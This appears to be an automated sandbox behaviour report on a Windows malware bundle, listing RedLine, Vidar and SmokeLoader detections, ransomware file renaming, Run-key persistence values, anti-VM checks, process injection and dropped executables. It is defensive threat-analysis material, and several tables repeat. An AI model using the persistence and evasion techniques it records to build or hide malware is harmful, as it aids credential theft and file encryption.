djvu | baa381f572d293636b6e48cacd2cd6a6f4f9e5f71c583873260f6ac01f0f5e15

Change Default File Association

T1042

Processes:

OneDriveSetup.exe

description	ioc	process
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	OneDriveSetup.exe

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exerundll32.exerundll32.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1264	3164	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4616	3164	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7892	3164	rundll32.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

Processes:

resource	yara_rule
behavioral7/memory/4072-254-0x00000000053B0000-0x00000000053DE000-memory.dmp	family_redline

Registers COM server for autorun 1 TTPs
persistence

Registry Run Keys / Startup Folder
T1060
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

Processes:

WerFault.exeWerFault.exe

description pid process target process

PID 6128 created 1400 6128 WerFault.exe setup.exe
PID 7492 created 1344 7492 WerFault.exe Fri1544861ac3fe6a.exe
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

svchost.exe

description pid process target process

PID 6788 created 5876 6788 svchost.exe OneDriveSetup.exe
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

description	pid	process	target process
PID 6128 created 1400	6128	WerFault.exe	setup.exe
PID 7492 created 1344	7492	WerFault.exe	Fri1544861ac3fe6a.exe

description	pid	process	target process
PID 6788 created 5876	6788	svchost.exe	OneDriveSetup.exe

Vidar Stealer 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral7/memory/1344-320-0x0000000003E00000-0x0000000003ED3000-memory.dmp	family_vidar
behavioral7/memory/1344-341-0x0000000000400000-0x00000000021BE000-memory.dmp	family_vidar

ASPack v2.12-2.42 7 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS82069A74\libcurlpp.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS82069A74\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS82069A74\libstdc++-6.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS82069A74\libstdc++-6.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS82069A74\libcurl.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS82069A74\libcurl.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS82069A74\libcurl.dll	aspack_v212_v242

Blocklisted process makes network request 49 IoCs

Processes:

powershell.exeMsiExec.exe

flow	pid	process
143	6596	powershell.exe
157	7900	MsiExec.exe
159	7900	MsiExec.exe
161	7900	MsiExec.exe
165	7900	MsiExec.exe
167	7900	MsiExec.exe
170	7900	MsiExec.exe
171	7900	MsiExec.exe
174	7900	MsiExec.exe
175	7900	MsiExec.exe
176	7900	MsiExec.exe
178	7900	MsiExec.exe
179	7900	MsiExec.exe
181	7900	MsiExec.exe
182	7900	MsiExec.exe
184	7900	MsiExec.exe
185	7900	MsiExec.exe
186	7900	MsiExec.exe
187	7900	MsiExec.exe
189	7900	MsiExec.exe
190	7900	MsiExec.exe
191	7900	MsiExec.exe
192	7900	MsiExec.exe
195	7900	MsiExec.exe
196	7900	MsiExec.exe
197	7900	MsiExec.exe
199	7900	MsiExec.exe
200	7900	MsiExec.exe
202	7900	MsiExec.exe
203	7900	MsiExec.exe
204	7900	MsiExec.exe
205	7900	MsiExec.exe
206	7900	MsiExec.exe
207	7900	MsiExec.exe
208	7900	MsiExec.exe
209	7900	MsiExec.exe
210	7900	MsiExec.exe
211	7900	MsiExec.exe
212	7900	MsiExec.exe
213	7900	MsiExec.exe
214	7900	MsiExec.exe
215	7900	MsiExec.exe
217	7900	MsiExec.exe
219	7900	MsiExec.exe
220	7900	MsiExec.exe
221	7900	MsiExec.exe
222	7900	MsiExec.exe
227	7900	MsiExec.exe
230	7900	MsiExec.exe

Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

installer.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts installer.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	installer.exe

Executes dropped EXE 64 IoCs

Processes:

setup_installer.exesetup_install.exeFri156ec98815f89c.exeFri1544861ac3fe6a.exeFri157e25afd971.exeFri155442fc38b.exeFri15af75ee9b.exeFri1553f0ee90.exeFri157e25afd971.tmpLzmwAqmV.exe1599265.exeUltraMediaBurner.exeChrome 5.exe7008383.exeinstaller.exePublicDwlBrowser1100.exe2.exesetup.exePubdate.exeWinHoster.exe3335890.exesetup_2.exe3615448.exe3002.exeWerFault.exejhuuee.exeBearVpn 3.exesetup_2.exe5072515.exe8449239.exe3266848.exe3002.exepostback.exe7176271.exe3808500.exeultramediaburner.exeQadyzhahitae.exeultramediaburner.tmpNaecatumaehy.exeservices64.exeGcleanerEU.exeConhost.exegcleaner.exeanyname.exeK53z2O0aa.exernyuf.exeEsWdMD6En.exesihost64.exernyuf.exe4041.exe4041.exe4041.exe4041.exe90E3.exebuild2.exebuild3.exebuild2.exebuild3.exeBA84.exernyuf.exemstsca.exe

pid	process
4136	setup_installer.exe
1712	setup_install.exe
1396	Fri156ec98815f89c.exe
1344	Fri1544861ac3fe6a.exe
1632	Fri157e25afd971.exe
1832	Fri155442fc38b.exe
2128	Fri15af75ee9b.exe
2032	Fri1553f0ee90.exe
2688	Fri157e25afd971.tmp
3180	LzmwAqmV.exe
3752	1599265.exe
5012	UltraMediaBurner.exe
5000	Chrome 5.exe
4072	7008383.exe
3760	installer.exe
4460	PublicDwlBrowser1100.exe
4888	2.exe
1400	setup.exe
400	Pubdate.exe
4932	WinHoster.exe
212	3335890.exe
4668	setup_2.exe
2280	3615448.exe
2264	3002.exe
5020	WerFault.exe
1036	jhuuee.exe
2160	BearVpn 3.exe
3636	setup_2.exe
2756	5072515.exe
1352	8449239.exe
5012	UltraMediaBurner.exe
4340	3266848.exe
5280	3002.exe
5552	postback.exe
5568	7176271.exe
5820	3808500.exe
6012	ultramediaburner.exe
6140	Qadyzhahitae.exe
5288	ultramediaburner.tmp
348	Naecatumaehy.exe
5012	UltraMediaBurner.exe
6056	services64.exe
7152	GcleanerEU.exe
3760	installer.exe
5128	Conhost.exe
7016	gcleaner.exe
4436	anyname.exe
4920	K53z2O0aa.exe
7164	rnyuf.exe
7248	EsWdMD6En.exe
7040	sihost64.exe
7180	rnyuf.exe
7328	4041.exe
5212	4041.exe
2728	4041.exe
7656	4041.exe
6180	90E3.exe
7088	build2.exe
7600	build3.exe
6424	build2.exe
5128	build3.exe
7360	BA84.exe
8116	rnyuf.exe
6824	mstsca.exe

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

4041.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\SelectRestore.raw => C:\Users\Admin\Pictures\SelectRestore.raw.efdc	4041.exe
File renamed	C:\Users\Admin\Pictures\UnprotectClear.raw => C:\Users\Admin\Pictures\UnprotectClear.raw.efdc	4041.exe
File opened for modification	C:\Users\Admin\Pictures\ApproveSave.tiff	4041.exe
File renamed	C:\Users\Admin\Pictures\ApproveSave.tiff => C:\Users\Admin\Pictures\ApproveSave.tiff.efdc	4041.exe
File renamed	C:\Users\Admin\Pictures\ClearExpand.tif => C:\Users\Admin\Pictures\ClearExpand.tif.efdc	4041.exe
File renamed	C:\Users\Admin\Pictures\GrantSkip.crw => C:\Users\Admin\Pictures\GrantSkip.crw.efdc	4041.exe
File renamed	C:\Users\Admin\Pictures\ReceiveHide.png => C:\Users\Admin\Pictures\ReceiveHide.png.efdc	4041.exe
File renamed	C:\Users\Admin\Pictures\RedoMeasure.crw => C:\Users\Admin\Pictures\RedoMeasure.crw.efdc	4041.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

3335890.exe7176271.exeBA84.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3335890.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3335890.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7176271.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7176271.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BA84.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BA84.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Qadyzhahitae.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Qadyzhahitae.exe

Loads dropped DLL 48 IoCs

Processes:

setup_install.exeFri157e25afd971.tmpWerFault.exerundll32.exeUltraMediaBurner.exerundll32.exeinstaller.exeMsiExec.exeFri1544861ac3fe6a.exerundll32.exeMsiExec.exeMsiExec.exebuild2.exeFileSyncConfig.exe

pid	process
1712	setup_install.exe
1712	setup_install.exe
1712	setup_install.exe
1712	setup_install.exe
1712	setup_install.exe
1712	setup_install.exe
1712	setup_install.exe
2688	Fri157e25afd971.tmp
5020	WerFault.exe
2316	rundll32.exe
5012	UltraMediaBurner.exe
5140	rundll32.exe
3760	installer.exe
3760	installer.exe
3760	installer.exe
5420	MsiExec.exe
5420	MsiExec.exe
1344	Fri1544861ac3fe6a.exe
1344	Fri1544861ac3fe6a.exe
7908	rundll32.exe
7900	MsiExec.exe
7900	MsiExec.exe
7900	MsiExec.exe
7900	MsiExec.exe
7900	MsiExec.exe
7900	MsiExec.exe
7900	MsiExec.exe
7900	MsiExec.exe
7900	MsiExec.exe
7900	MsiExec.exe
3760	installer.exe
7900	MsiExec.exe
7900	MsiExec.exe
5108	MsiExec.exe
5108	MsiExec.exe
5108	MsiExec.exe
5108	MsiExec.exe
5108	MsiExec.exe
5108	MsiExec.exe
5108	MsiExec.exe
7900	MsiExec.exe
6424	build2.exe
6424	build2.exe
7292	FileSyncConfig.exe
7292	FileSyncConfig.exe
7292	FileSyncConfig.exe
7292	FileSyncConfig.exe
7292	FileSyncConfig.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

3128 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3128	icacls.exe

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\3335890.exe	themida
C:\Users\Admin\AppData\Roaming\3335890.exe	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

4041.exeOneDriveSetup.exeUltraMediaBurner.exeinstaller.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\2cb3a0cf-5e62-4969-b0ca-53644a87985f\\4041.exe\" --AutoStart"	4041.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	UltraMediaBurner.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\Sonuraqabo.exe\""	installer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 9 IoCs

evasion trojan

System Information Discovery

Processes:

Fri157e25afd971.tmpNaecatumaehy.exeBA84.execmd.exesetup.exe3335890.exeUltraMediaBurner.exe7176271.exeultramediaburner.tmp

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Fri157e25afd971.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Naecatumaehy.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BA84.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cmd.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3335890.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	UltraMediaBurner.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7176271.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ultramediaburner.tmp

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

msiexec.exeinstaller.exe

description	ioc	process
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\M:	installer.exe
File opened (read-only)	\??\P:	installer.exe
File opened (read-only)	\??\R:	installer.exe
File opened (read-only)	\??\S:	installer.exe
File opened (read-only)	\??\X:	installer.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	installer.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	installer.exe
File opened (read-only)	\??\K:	installer.exe
File opened (read-only)	\??\Z:	installer.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\B:	installer.exe
File opened (read-only)	\??\Q:	installer.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	installer.exe
File opened (read-only)	\??\T:	installer.exe
File opened (read-only)	\??\V:	installer.exe
File opened (read-only)	\??\W:	installer.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\G:	installer.exe
File opened (read-only)	\??\I:	installer.exe
File opened (read-only)	\??\U:	installer.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\A:	installer.exe
File opened (read-only)	\??\E:	installer.exe
File opened (read-only)	\??\F:	installer.exe
File opened (read-only)	\??\L:	installer.exe
File opened (read-only)	\??\N:	installer.exe
File opened (read-only)	\??\O:	installer.exe
File opened (read-only)	\??\G:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 8 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

109 ip-api.com
254 api.2ip.ua
255 api.2ip.ua
282 api.2ip.ua
487 api.2ip.ua
504 api.2ip.ua
665 api.2ip.ua
46 ip-api.com

flow	ioc
109	ip-api.com
254	api.2ip.ua
255	api.2ip.ua
282	api.2ip.ua
487	api.2ip.ua
504	api.2ip.ua
665	api.2ip.ua
46	ip-api.com

Drops file in System32 directory 17 IoCs

Processes:

svchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #2	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-2559286294-2439613352-4032193287-1000	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #1	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedUpdater	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Azure-Update-Task	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent 651A333D3CB3A640	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\User_Feed_Synchronization-{4F246605-F333-40E5-8FE6-2ED3621ADF90}	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #3	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #4	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #6	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Time Trigger Task	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\services64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\rnyuf.exe	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #5	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

3335890.exe7176271.exeBA84.exe

pid process

212 3335890.exe
5568 7176271.exe
7360 BA84.exe

pid	process
212	3335890.exe
5568	7176271.exe
7360	BA84.exe

Suspicious use of SetThreadContext 30 IoCs

Processes:

svchost.exepostback.exeservices64.exe4041.exe4041.exebuild2.exebuild3.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exe4041.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exe4041.exemstsca.exemstsca.exemstsca.exe4041.exe

description	pid	process	target process
PID 4400 set thread context of 3916	4400	svchost.exe	svchost.exe
PID 5552 set thread context of 5548	5552	postback.exe	explorer.exe
PID 6056 set thread context of 2520	6056	services64.exe	explorer.exe
PID 7328 set thread context of 5212	7328	4041.exe	4041.exe
PID 2728 set thread context of 7656	2728	4041.exe	4041.exe
PID 7088 set thread context of 6424	7088	build2.exe	build2.exe
PID 7600 set thread context of 5128	7600	build3.exe	build3.exe
PID 6824 set thread context of 400	6824	mstsca.exe	mstsca.exe
PID 7732 set thread context of 7276	7732	mstsca.exe	mstsca.exe
PID 2180 set thread context of 6276	2180	mstsca.exe	mstsca.exe
PID 3772 set thread context of 5904	3772	mstsca.exe	mstsca.exe
PID 8056 set thread context of 5936	8056	mstsca.exe	mstsca.exe
PID 7748 set thread context of 4996	7748	mstsca.exe	mstsca.exe
PID 7504 set thread context of 6744	7504	mstsca.exe	mstsca.exe
PID 8016 set thread context of 4132	8016	mstsca.exe	mstsca.exe
PID 2812 set thread context of 7764	2812	mstsca.exe	mstsca.exe
PID 6096 set thread context of 4824	6096	mstsca.exe	mstsca.exe
PID 6460 set thread context of 1404	6460	mstsca.exe	mstsca.exe
PID 6904 set thread context of 7988	6904	mstsca.exe	mstsca.exe
PID 6996 set thread context of 1200	6996	4041.exe	4041.exe
PID 4428 set thread context of 4424	4428	mstsca.exe	mstsca.exe
PID 4376 set thread context of 3864	4376	mstsca.exe	mstsca.exe
PID 4460 set thread context of 4436	4460	mstsca.exe	mstsca.exe
PID 4788 set thread context of 7976	4788	mstsca.exe	mstsca.exe
PID 4732 set thread context of 3780	4732	mstsca.exe	mstsca.exe
PID 6888 set thread context of 4852	6888	4041.exe	4041.exe
PID 1328 set thread context of 6832	1328	mstsca.exe	mstsca.exe
PID 5596 set thread context of 6488	5596	mstsca.exe	mstsca.exe
PID 6224 set thread context of 6292	6224	mstsca.exe	mstsca.exe
PID 6348 set thread context of 1868	6348	4041.exe	4041.exe

Drops file in Program Files directory 18 IoCs

Processes:

msiexec.exeUltraMediaBurner.exeultramediaburner.tmpinstaller.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\Privacy.url	msiexec.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	UltraMediaBurner.exe
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\EULA.url	msiexec.exe
File created	C:\Program Files (x86)\UltraMediaBurner\is-UG1KL.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	msiexec.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-93EU9.tmp	UltraMediaBurner.exe
File created	C:\Program Files\Microsoft Office\BNYVIPAOHP\ultramediaburner.exe.config	installer.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\Sonuraqabo.exe.config	installer.exe
File created	C:\Program Files (x86)\UltraMediaBurner\is-N5CEO.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	msiexec.exe
File created	C:\Program Files (x86)\AW Manager\Windows Manager\Uninstall.lnk	msiexec.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	UltraMediaBurner.exe
File created	C:\Program Files\Microsoft Office\BNYVIPAOHP\ultramediaburner.exe	installer.exe
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.ini	msiexec.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\Sonuraqabo.exe	installer.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp

Drops file in Windows directory 46 IoCs

Processes:

msiexec.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeWerFault.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSIA1A9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA332.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAB37.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAB77.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIABD5.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\MSI8F37.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA11B.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\MSI8916.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA322.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA836.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8D5E.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62}	msiexec.exe
File created	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\Installer\f7585da.msi	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\f7585da.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8F07.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA9AE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAA2C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAA9A.tmp	msiexec.exe
File created	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8DDC.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA06E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\f7585dd.msi	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\MSIAE48.tmp	msiexec.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File opened for modification	C:\Windows\Installer\MSI8C54.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8E79.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\MSIA284.tmp	msiexec.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 24 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
5604	1344	WerFault.exe	Fri1544861ac3fe6a.exe
5020	4888	WerFault.exe	2.exe
2236	1344	WerFault.exe	Fri1544861ac3fe6a.exe
5156	1400	WerFault.exe	setup.exe
